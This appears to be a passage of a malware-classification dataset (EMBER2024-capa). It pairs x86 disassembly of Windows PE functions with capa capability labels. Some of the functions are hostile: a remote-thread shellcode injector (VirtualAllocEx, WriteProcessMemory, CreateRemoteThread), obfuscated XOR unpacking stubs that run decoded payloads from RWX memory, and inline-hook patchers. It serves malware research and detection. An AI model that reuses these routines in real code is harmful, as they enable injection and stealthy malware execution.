joyce8/EMBER2024-capa huggingface dataset:
Function at 0x11669
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ecx]
xor eax, eax
xor ebx, ebx
cmp esi, ecx
mov dword [ebp - 4], eax
je 0x117e8
push edi
mov edi, dword [ebp + 0xc]
mov al, byte [edi + 8]
test al, al
mov dword [edi + 0xc], esi
jne 0x116f6
cmp word [esi + 0xc], 1
jne 0x116a7
cmp byte [ebp + 0x10], al
je 0x116a2
mov eax, dword [esi + 0x18]
jmp 0x11711
mov eax, dword [esi + 0x1c]
jmp 0x11711
cmp dword [esi + 0x18], ebx
je 0x117d1
lea ebx, [esi + 0x30]
push ebx
push dword [ebx]
push dword [esi + 0x2c]
push dword [esi + 0x34]
call fcn.000111b8
lea eax, [edi + 0x40]
push eax
push dword [esi + 0x2c]
call fcn.000113fe
test al, al
je 0x117d1
cmp byte [ebp + 0x10], 0
mov ecx, dword [esi + 0x2c]
mov eax, dword [ebx]
lea eax, [ecx + eax*4]
push eax
lea eax, [edi + 0x40]
push eax
je 0x116ef
push 1
jmp 0x117ce
push 2
jmp 0x117ce
cmp al, 1
jne 0x11750
cmp word [esi + 0xc], 1
jne 0x11724
cmp byte [ebp + 0x10], 0
je 0x1170e
mov eax, dword [esi + 0x20]
cmp eax, ebx
jne 0x11719
mov eax, dword [esi + 0x24]
cmp eax, ebx
je 0x117d1
lea ecx, [edi + 0x40]
push ecx
call eax
jmp 0x117d1
cmp byte [ebp + 0x10], 0
je 0x11743
mov eax, dword [esi + 0x20]
cmp eax, ebx
je 0x11743
push dword [edi + 0x2c]
lea ecx, [edi + 0x20]
push ecx
lea ecx, [edi + 0x40]
push ecx
call eax
jmp 0x117d1
mov eax, dword [esi + 0x24]
cmp eax, ebx
je 0x117d1
jmp 0x11731
cmp al, 2
jne 0x1179d
mov eax, dword [esi + 0x28]
cmp eax, ebx
je 0x117d1
push dword [edi + 0x2c]
lea ecx, [edi + 0x40]
push dword [edi + 0x28]
push dword [edi + 0x14]
push ecx
call eax
mov ecx, 0x103
cmp eax, ecx
jne 0x11778
mov dword [ebp - 4], ecx
jmp 0x117d1
cmp eax, ebx
je 0x11791
push eax
mov dword [edi + 0x1c], eax
lea eax, [esi + 0x10]
push eax
push 0x11650
call sub.ntoskrnl.exe_DbgPrint
add esp, 0xc
lea eax, [edi + 0x30]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jmp 0x117d1
cmp al, 3
jne 0x117d1
cmp dword [edi + 0x34], ebx
je 0x117d1
cmp word [esi + 0xc], 1
je 0x117d1
mov eax, dword [esi + 0x18]
cmp eax, ebx
je 0x117d1
push ebx
lea ecx, [edi + 0x40]
push ecx
push 4
call eax
mov eax, dword [0x12ab8]
cmp eax, dword [0x12ab4]
jne 0x117d1
push ebx
push ebx
push 5
call dword [esi + 0x18]
mov esi, dword [esi]
mov eax, dword [ebp - 4]
xor ebx, ebx
cmp esi, dword [ebp + 8]
mov dword [edi + 0xc], ebx
mov dword [edi + 0x10], eax
jne 0x11687
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x10001010
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Execute shellcode via indirect call
Get hostname
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x208
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], 0x104
push 0
push eax
call fcn.100021f0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0xb7
je 0x10001156
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x100010f0
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.100021f0
add esp, 0xc
call ebx
push eax
push 0x10011cdc
lea eax, [ebp - 0x108]
push str._s_Error__nError_Code_Is:_d_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x108]
push 0x10
push str.ERROR
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100011f8
mov esp, ebp
pop ebp
ret
push edi
push 0x40
push 0x3000
push 0x7a0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x10001167
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.100021f0
add esp, 0xc
call ebx
push eax
push 0x10011ce8
lea eax, [ebp - 0x108]
push str._s_Error__nError_Code_Is:_d_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x108]
push 0x10
push str.ERROR
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.100011f8
mov esp, ebp
pop ebp
ret
push 0
push 0x7a0
push 0x100148b0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000119e
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.100021f0
add esp, 0xc
call ebx
push eax
push 0x10011cf8
jmp 0x10001129
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x100011d6
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.100021f0
add esp, 0xc
call ebx
push eax
push 0x10011d0c
jmp 0x10001129
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x186a0
call esi
jmp 0x100011e3

Function at 0x10004537
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10004576
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004576
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004576
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10004576
cmp dword [ecx + 0x74], 0xe
jbe 0x10004576
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10007201
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000729e
push ebx
push esi
call fcn.100071ca
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000715e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000724b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000729d
push edi
push eax
call fcn.100081bc
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000726b
call fcn.10005ca4
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000729c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000715e
add esp, 0x20
test eax, eax
jne 0x1000728a
push edi
call fcn.10005ca4
jmp 0x10007292
push ebx
call fcn.10005ca4
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000750b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e508
push 0x1000e500
push str.FlsAlloc
push 0x1f
call fcn.10007427
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000753f
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d130]
call esi
jmp 0x10007545
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10007589
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e518
push 0x1000e510
push str.FlsGetValue
push 0x21
call fcn.10007427
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100075c0
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100075c8
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e520
push 0x1000e518
push str.FlsSetValue
push 0x22
call fcn.10007427
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007602
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1000d130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000cc90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000ccbd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000ccbd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x417c29
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x417c38
pop dword [ebp - 0x24]
mov eax, 0x9bab8513
add eax, 0x6495f725
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x4ccf7
push 0
mov eax, 0x6be68599
sub eax, 0x6ba1d2f1
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x6dd45a75
add ecx, 0x922be11f
xor edi, edi
add edi, eax
mov edx, 0x162d07f6
add edx, 0xea1a660a
add edx, dword [ebp - 0x24]
mov esi, 0x697e02e
xor dword [ebp - 0x14], esi
mov ebx, dword [edx]
xor dword [ebp - 8], ecx
add ebx, esi
add dword [ebp - 0xc], edi
mov dword [edi], ebx
sub dword [ebp - 0x14], esi
add edi, 4
add edx, 0xffeb24c5
sub edx, 0xffeb24c1
loop 0x417c93
add eax, 0xa0f1bd97
sub eax, 0xa0f0dc74
xor ebx, ebx
add ebx, eax
add eax, 0x6936ae1d
add eax, 0x96c951e8
mov ecx, 0x7d5f7e6
sub ecx, 0x795f7e6
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x43fbad
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5e8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fbf0
push str.SystemFunction040
push dword [0x46b5e8]
call edi
push str.SystemFunction041
push dword [0x46b5e8]
mov dword [0x46b5f0], eax
call edi
mov dword [0x46b5f4], eax
jmp 0x43fbf5
mov eax, dword [0x46b5f4]
cmp dword [0x46b5f0], 0
je 0x43fc06
test eax, eax
jne 0x43fcad
push 0x46b5ec
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fcb7
push str.CryptProtectMemory
push dword [0x46b5ec]
call edi
cmp dword [0x46b5f0], 0
mov dword [0x46b5f8], eax
jne 0x43fc6b
test eax, eax
jne 0x43fc6b
call dword [sym.imp.kernel32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
mov eax, 0x80004005
test esi, esi
cmovns esi, eax
push esi
push 0x28
push str.cryputil.cpp
call fcn.004037d3
jmp 0x43fcb7
push str.CryptUnprotectMemory
push dword [0x46b5ec]
call edi
cmp dword [0x46b5f4], 0
mov dword [0x46b5fc], eax
jne 0x43fcad
test eax, eax
jne 0x43fcad
call dword [sym.imp.kernel32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
mov eax, 0x80004005
test esi, esi
cmovns esi, eax
push esi
push 0x2d
jmp 0x43fc5f
mov dword [0x46b600], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x425520
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x402926
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x64
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x4022f0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x4255a8
mov dword [ebp - 4], 4
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call fcn.0040ae10
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 4], 6
mov edx, dword [ebp + 8]
cmp dword [edx], 0
je 0x425708
mov dword [ebp - 4], 7
call fcn.0040af50
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x64], eax
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x60]
push ecx
push 0x28
mov edx, dword [ebp - 0x64]
push edx
call fcn.0040aeb4
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov dword [ebp - 4], 9
lea eax, [ebp - 0x40]
push eax
push 0x40e614
lea ecx, [ebp - 0x6c]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x40ceac
lea edx, [ebp - 0x68]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
call fcn.0040af04
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x68]
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x34], 1
mov dword [ebp - 4], 0xb
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x30]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x28], 2
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x50]
push edx
push 0x10
lea eax, [ebp - 0x34]
push eax
push 0
mov ecx, dword [ebp - 0x60]
push ecx
call fcn.0040ae60
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov dword [ebp - 4], 0xe
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0
push 1
call fcn.0040ad2c
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 4], 0xf
cmp dword [ebp - 0x5c], 0
je 0x425708
mov dword [ebp - 4], 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x5c]
push eax
call fcn.0040adbc
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor ecx, ecx
cmp dword [ebp - 0x70], 0
setne cl
neg ecx
mov word [ebp - 0x38], cx
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x5c]
push edx
call fcn.0040ad70
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov dword [ebp - 4], 0x14
push 0
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
push 0x425733
jmp 0x425732
ret
Function at 0x402af0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x413010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402b88
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402b68
xor eax, eax
push ebp
push 0x402b61
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402ba4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402b68
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x413010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x413010], ax
mov esp, ebp
pop ebp
ret

Function at 0x40343c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x414034], 0
je 0x40349d
cmp word [0x414208], 0xd7b2
jne 0x403465
cmp dword [0x414210], 0
jbe 0x403465
mov eax, 0x414204
call dword [0x414220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x413058
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4034c4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41301c], 0
jne 0x4034b9
push 0
push 0x413050
push 0x413058
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4035f8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402818
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x414035], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4035c0
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x403b8c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403bf2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403770
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004029e4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403bdc
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403bf9
lea eax, [ebp - 0x10]
call fcn.0040363c
ret
Function at 0x404f44
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [edi + 5]
push eax
push ebx
call sub.kernel32.dll_VirtualProtect
jmp 0x405082
test edi, edi
jle 0x4051dc
mov ecx, edi
dec ecx
test ecx, ecx
jl 0x4051dc
inc ecx
xor esi, esi
mov eax, ebx
add eax, 5
xor edx, edx
push edx
push eax
mov eax, esi
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0x90
inc esi
dec ecx
jne 0x405098
jmp 0x4051dc
mov byte [ebx], 0xe9
mov edx, ebx
mov eax, edx
add eax, 5
push eax
mov eax, dword [ebp - 4]
pop ecx
sub eax, ecx
inc edx
mov dword [edx], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
push eax
add edi, 5
push edi
push ebx
call sub.kernel32.dll_VirtualProtect
jmp 0x4052f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x409d80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
jmp 0x409e97
xor eax, eax
mov al, byte [ebp - 5]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 4]
cmp byte [edx + eax + 0x40], 0xe9
jne 0x40a356
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
push eax
call sub.kernel32.dll_VirtualProtect
jmp 0x409fc5
cmp byte [ebp - 5], 5
je 0x409fd5
cmp byte [ebp - 5], 0xa
jne 0x40a0f5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov edx, dword [edx + eax*4 + 4]
mov eax, dword [ebp - 4]
call fcn.004097d4
mov dword [ebp - 0x10], eax
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
mov byte [eax], 0xb8
jmp 0x40a0d2
push 4
lea ecx, [ebp - 0x10]
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov edx, dword [edx + eax*4 + 4]
inc edx
mov eax, dword [0x4130fc]
mov eax, dword [eax]
call fcn.00404064
jmp 0x40a242
mov dword [ebp - 0x14], 0x4130b4
jmp 0x40a225
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov edx, dword [edx + eax*4 + 4]
mov eax, dword [0x4130fc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
call fcn.00404064
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
push eax
call sub.kernel32.dll_VirtualProtect
jmp 0x40a350
mov byte [ebp - 6], 1
jmp 0x40a35a
mov byte [ebp - 6], 0
mov al, byte [ebp - 6]
mov esp, ebp
pop ebp
ret

Function at 0x40a364
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
jmp 0x40a43f
xor eax, eax
mov al, byte [ebp - 5]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 4]
cmp byte [edx + eax + 0x40], 0xe9
jne 0x40a6dc
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
push eax
call sub.kernel32.dll_VirtualProtect
jmp 0x40a570
push 5
xor eax, eax
mov al, byte [ebp - 5]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 4]
lea ecx, [edx + eax + 0x40]
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov edx, dword [edx + eax*4 + 4]
mov eax, dword [0x4130fc]
mov eax, dword [eax]
call fcn.00404064
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
push eax
call sub.kernel32.dll_VirtualProtect
jmp 0x40a6d6
mov byte [ebp - 6], 1
jmp 0x40a6e0
mov byte [ebp - 6], 0
mov al, byte [ebp - 6]
mov esp, ebp
pop ebp
ret
Function at 0x10007baf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10007bbe
pop dword [ebp - 0xc]
mov eax, 0x10007bbe
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x7003dd61
add dword [ebp - 0x1c], 0xde4e67ea
mov dword [ebp - 0x18], 0x95693588
sub dword [ebp - 0x18], 0x6335e943
mov dword [ebp - 0x14], 0xd25c422e
sub dword [ebp - 0x14], 0x860ffe00
mov dword [ebp - 0x10], 0xb0d37314
add dword [ebp - 0x10], 0x4f2c8cec
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x8cf34441
add eax, 0x830d3c0b
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x9b82a473
sub dword [ebp - 0x1c], 0x27103b1d
mov dword [ebp - 0x18], 0x30bff43a
sub dword [ebp - 0x18], 0xef5392c5
mov dword [ebp - 0x14], 0x5735139
sub dword [ebp - 0x14], 0xa203e4cd
mov dword [ebp - 0x10], 0xf3d2d9ff
add dword [ebp - 0x10], 0xc2d2601
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x34b5e
push 0
call eax
mov ecx, 0x38436a84
add ecx, 0xc7bcd5a8
xor edi, edi
add edi, eax
mov edx, 0x3de7c5d5
add edx, 0xd219342b
add edx, dword [ebp - 0xc]
mov esi, 0x923c4a6c
add esi, 0x18560c98
sub dword [ebp - 8], ebx
mov ebx, dword [edx]
add dword [ebp - 8], edi
add ebx, esi
xor dword [ebp - 8], eax
mov dword [edi], ebx
sub dword [ebp - 8], 0x8157d791
add edi, 0x618002d1
sub edi, 0x618002cd
add edx, 0xbfad8d20
add edx, 0x405272e4
loop 0x10007cd8
add eax, 0xf383
mov ebx, eax
add eax, 5
mov ecx, 0xc014101b
add ecx, 0x4febefe5
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1002e210
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1002e21f
pop dword [ebp - 0x44]
mov eax, 0x1002e21f
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x115a13c2
add dword [ebp - 0x54], 0x3cf83189
mov dword [ebp - 0x50], 0xeb444021
add dword [ebp - 0x50], 0x46ef0c24
mov dword [ebp - 0x4c], 0x776d731
sub dword [ebp - 0x4c], 0xbb2a9303
mov dword [ebp - 0x48], 0xe690120d
sub dword [ebp - 0x48], 0xe690120d
lea eax, [ebp - 0x54]
push eax
mov eax, 0x179c8a26
add eax, 0xf8677616
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x1527be47
add dword [ebp - 0x54], 0x5f4aab0f
mov dword [ebp - 0x50], 0xfe07b765
add dword [ebp - 0x50], 0x4364aa10
mov dword [ebp - 0x4c], 0x8d6e66eb
sub dword [ebp - 0x4c], 0x29fefa7f
mov dword [ebp - 0x48], 0xe9085aac
add dword [ebp - 0x48], 0x16f7a554
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x45a2d
push 0
call eax
mov ecx, 0xa5759ca0
sub ecx, 0xa5755854
xor edx, edx
add edx, eax
mov ebx, 0xab082f46
sub ebx, 0x9b02c146
add ebx, dword [ebp - 0x44]
mov edi, 0x4d22ebd3
sub edi, 0xe164bcd4
sub dword [ebp - 0x28], 0x86b5c182
mov esi, dword [ebx]
sub dword [ebp - 0x34], ecx
xor esi, edi
add dword [ebp - 0xc], 0x8892c37d
mov dword [edx], esi
xor dword [ebp - 0x1c], esi
add edx, 4
add ebx, 0xfc5f4f3
add ebx, 0xf03a0b11
loop 0x1002e339
add eax, 0x10403
xor ebx, ebx
add ebx, eax
add eax, 0xb7e02822
add eax, 0x481fd7e3
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret